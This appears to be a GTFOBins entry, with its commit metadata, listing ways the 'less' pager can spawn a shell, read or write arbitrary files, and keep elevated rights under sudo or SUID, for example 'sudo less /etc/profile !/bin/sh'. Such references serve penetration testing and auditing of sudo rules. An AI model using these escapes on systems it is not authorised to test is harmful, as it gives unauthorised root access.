GTFOBins.github.io/_gtfobins/less.md
_Magenta_ 3f03bc2af9
Add vi(m)-style shell spawning to the less binary
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-12-16 18:13:01 +01:00

774 B

functions
shell file-read file-write sudo suid
code
less /etc/profile !/bin/sh
code
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile v
code
less /etc/profile v:shell
code
less file_to_read
description code
This is useful when `less` is used as a pager by another binary to read a different file. less /etc/profile :e file_to_read
code
echo DATA | less sfile_to_write q
description code
This invokes the default editor to edit the file. The file must exist. less file_to_write v
code
sudo less /etc/profile !/bin/sh
code
./less file_to_read